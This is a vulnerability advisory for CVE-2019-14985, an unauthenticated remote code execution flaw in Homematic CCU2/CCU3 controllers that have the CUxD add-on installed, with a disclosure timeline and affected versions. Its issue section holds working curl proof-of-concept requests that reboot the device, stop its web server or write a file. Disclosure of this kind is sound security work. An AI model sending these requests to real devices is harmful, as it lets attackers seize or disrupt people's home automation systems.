CVE-2019-14985 eQ-3 Homematic CCU2 and CCU3 with the CUxD AddOn installed allows Remote Code Execution by unauthenticated attackers with access to the web interface, because CUxD 'CMD_EXEC' virtual device type 28 is not protected against external usage

Overview

  • CVE: CVE-2019-14985
  • Author: psytester
  • Title: eQ-3 Homematic CCU2 and CCU3 with the CUxD AddOn installed allows Remote Code Execution by unauthenticated attackers with access to the web interface, because CUxD ‘CMD_EXEC’ virtual device type 28 is not protected against external usage
  • Vulnerability Type: CWE-284: Improper Access Control
  • CVSSv3 Base Score: 10.0
  • CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Publishing Date: 13.08.2019
  • Updated: –
  • Vendor: eQ-3 AG
  • Product: Homematic CCU2 and CCU3
  • Vendor eQ-3 contacted: 13.02.2019
  • Vendor eQ-3 response on 11.04.2019 with “not responsible for AddOns”
  • Vendor patch: N.A.
  • Addon itself:
    • Developer of ‘CUxD’ AddOn contacted: 02.04.2019
    • Developer of ‘CUxD’ AddOn confirmation: 04.04.2019
    • ‘CUxD’ AddOn patch: N.A.
    • Affected ‘CUxD’ AddOn version: 2.3.4 and prior
  • Affected Firmware version of CCU2: 2.35.16, 2.41.5, 2.41.8, 2.41.9, 2.45.6, 2.45.7, 2.47.10, 2.47.12, 2.47.15 tested
  • Affected Firmware version of CCU3: 3.41.11, 3.43.16, 3.45.5, 3.45.7, 3.47.10, 3.47.15 tested

Background

From ELVjournal 06/2014 translated:
The Homematic additional software CUx-Daemon (short CUxD) is a universal interface between the Homematic central unit and components of other home control or SmartHome systems. These include the ELV FS20, FHT, HMS and EM/ESA systems, but also components of the EnOcean system and much more. By integrating these products, which are actually incompatible, the scope of the Homematic System can be extended beyond borders. In a multi-part article series we want to present CUxD, installations and possible uses in more detail.

From ELVjournal 02/2015 translated:
The CUxD device Exec serves as a replacement for the undocumented and not very stable “system.exec()” function of the CCU, which can be used to start arbitrary processes on the Homematic central.

From eQ-3 vendor’s website for CCU2:
HomeMatic Central Control Unit CCU2

Homematic Central Control Unit is the central element of your Homematic system, offering a whole range of control, monitoring and configuration options for all the Homematic devices in your installation
[….]

From eQ-3 vendor’s website for CCU3:
The Central Control Unit CCU3 is the central element for local control of the Homematic IP smart home system. It represents the next generation of our proven Homematic Central Control Units CCU1 and CCU2. Operation via the Central Control Unit CCU3 can be used alternatively to the Homematic IP Access Point. While the Access Point establishes the connection to the free Homematic IP cloud and enables operation of the smart home system via a smartphone app, the Central Control Unit CCU3 works locally via a browser-based web interface (WebUI). Thanks to local configuration and operation as well as the option to create direct device connections, reliable and fail-proof operation of the smart home system is guaranteed at all times – even in the event of Internet failures.
[….]

Issue Description

While analyzing the CCU web interface based on given page files in file system path /www and the internal device usage, this is another Improper Access Control resulting into Remote Code Execution vulnerability located in CCU firmware, if ‘CUxD’ AddOn is installed. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.

The following HTTP requests in Web Browser illustrates the attack vectors:

  1. RCE with Homematic undocumented URL ending with “.exe” if lighttpd proxy.conf is not protected against remote call of “*.exe” URLs:
curl -X POST -i 'http://1.2.3.4/UriHasToEndWithSuffix--.exe' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/sbin/reboot");'
curl -X POST -i 'http://1.2.3.4/UriHasToEndWithSuffix--.exe' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/etc/init.d/S50lighttpd stop");'
curl -X POST -i 'http://1.2.3.4/UriHasToEndWithSuffix--.exe' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/bin/touch /tmp/testfile");'
  1. RCE with an AddOn providing unprotected exec.cgi script like ‘XML-API’ AddOn published in CVE-2019-14984
    or other popular AddOns like:
    HM-Print published in CVE-2019-18939
    HM-Email published in CVE-2019-18938
    Script Parser published in CVE-2019-18937
    Those CVEs are combined with this attack vector:
curl -X POST -i 'http://1.2.3.4/addons/xmlapi/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/sbin/reboot");'
curl -X POST -i 'http://1.2.3.4/addons/xmlapi/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/etc/init.d/S50lighttpd stop");'
curl -X POST -i 'http://1.2.3.4/addons/xmlapi/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/bin/touch /tmp/testfile");'

CVE

CVE-2019-14985

CVSSv3 Base Score

CVSSv3 Base Score: 10.0

CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Credit

psytester

Not owning an original CCU2 or CCU3, but you want to analyze the CCU ‘for free’?
You can download
piVCCU for running the original CCU3 Firmware in lxc container on RaspberryPi
RaspberryMatic for running the opensource OCCU based release on different boards

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2019 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on August 12, 2019 | Last modified on August 13, 2019